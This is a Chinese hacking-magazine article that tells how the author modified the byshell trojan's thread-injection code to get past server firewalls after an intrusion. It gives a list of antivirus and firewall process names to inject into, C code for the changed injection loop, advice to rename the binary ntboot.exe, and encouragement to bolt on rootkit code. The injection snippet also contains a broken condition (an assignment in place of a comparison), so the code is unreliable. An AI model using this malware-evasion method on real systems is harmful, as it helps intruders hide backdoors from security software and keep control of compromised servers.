巧妙线程插入方法绕过防火墙

大家知道,木马就两件事,一是免杀,二是穿墙,关于免杀的问题在黑防已经有过深入的讨论,而穿墙则少有提及,其实,线程插入是一个非常重要的技术,先感谢发明线程插入的牛人,(哈哈),但是,许多介绍线程插入的文章对如到底插入线程的哪个进程体内却少有提及,多数都选择explorer.exe iexplorer.exe ,有的是winlogin.exe(灰鸽子) spoolsv.exe(byshell) 认为这样一来就可以穿墙,其实不然

这也是我在一次入侵中遇到的,获得WEBSHELL后,无论上传什么木马都没有成功反连回来,由pslist得知,安装了天网 傲盾 BIACKICE三个防火墙,估计是阻止了一切对外的连接,我自己也安装了个天网,选择不让explorer.exe访问网络,果然不能回连,何况是三个防火墙……
这台服务器是个MIR SF,安装了IIS,无意中想到,既然要提供服务,那么IIS和m2server必须要能够访问网络,可以考虑插入线程到IIS可是有什么木马能够字定义插入线程呢?找了byshell(感谢公开原码),打开VC,修改插入线程为IISsrv.exe,保存编译,测试成功
这样编译的不能通用,要能自动寻找有无IIS,防火墙,有则插入,找不到在考虑winlogin.exe explorer.exe,(我本人不建议插入explorer.exe,因为explorer.exe优先级不够,在资源不足时,很容易丢失控制,这也就是横多人说灰哥字不太稳定的原因)其实很简单:枚举系统当前进程,看有否以下进程
有则插入
常见杀毒软件/防火墙/系统文件具体文件名
木马克星:Iparmor.exe
木马猎手(TrojanHunter):TrojanHunter.exe,THGUARD.EXE
江民杀毒KV:KvSrvXp.EXE
天网:PFW.EXE
江民黑客防火墙:KVFW.EXE
瑞星杀毒:Rav.exe RavMon.exe CCENTER.EXE
Symantec AntiVirus:Rtvscan.exe DefWatch.exe
金山毒霸:KWatch.EXE
卡巴:kav.exe kavsvc.exe

具体的方法实现:
打开byshell的原代码,进入byloader.cpp,进入injcode膜块,找到如下代码
…………….
char injexe[]=”spoolsv.exe”
for(Process32First(snapshot,&processsnap);Process32Next(snapshot,&processsnap);){
if(!stricmp(processsnap.szExeFile,injexe)){pid=processsnap.th32ProcessID;break;}
}
…………….
这里就是处理线程插入的哪里的代码,我们改为以下代码
…………….
char injexe[]=”spoolsv.exe”
char sd1[]=”Iparmor.exe”;
char sd2[]=”KvSrvXp.EXE”;
char sd3[]=”PFW.EXE”;
char sd4[]=”KVFW.EXE”;
char sd5[]=”Rav.exe”;
char sd6[]=”KWatch.EXE”;
char sd7[]=”kavsvc.exe”;
bool shifuzhaodao=0;//设置是否找到各大杀毒软件,初值为0

for(Process32First(snapshot,&processsnap);Process32Next(snapshot,&processsnap);){

if(!stricmp(processsnap.szExeFile,sd1)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd2)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd3)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd4)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd5)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd6)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
if(!stricmp(processsnap.szExeFile,sd7)){pid=processsnap.th32ProcessID;shifuzhaodao=1;break;}
}
//没有找到杀毒软件,再来插spoolsv.exe
if(shifuzhaodao=0){
for(Process32First(snapshot,&processsnap);Process32Next(snapshot,&processsnap);){
if(!stricmp(processsnap.szExeFile,injexe)){pid=processsnap.th32ProcessID;break;}
}
}
………………….
就是这样,改好后编译一下。
把文件名改名为ntboot.exe
测试下,效果不错。
其实,有了原代码还有很多的好处,例如,你在网络上看到了一个好的rootkit代码,就可以添加到这个程序代码中,有什么好的功能代码,全导入这个程序,那么你手中的小马就会慢慢成长为天下第一马哈哈。
声明:byshell版权为原作者”by”所有,我只是进行了一些修改。

作者: 快乐的人
来 源: 《黑客防线》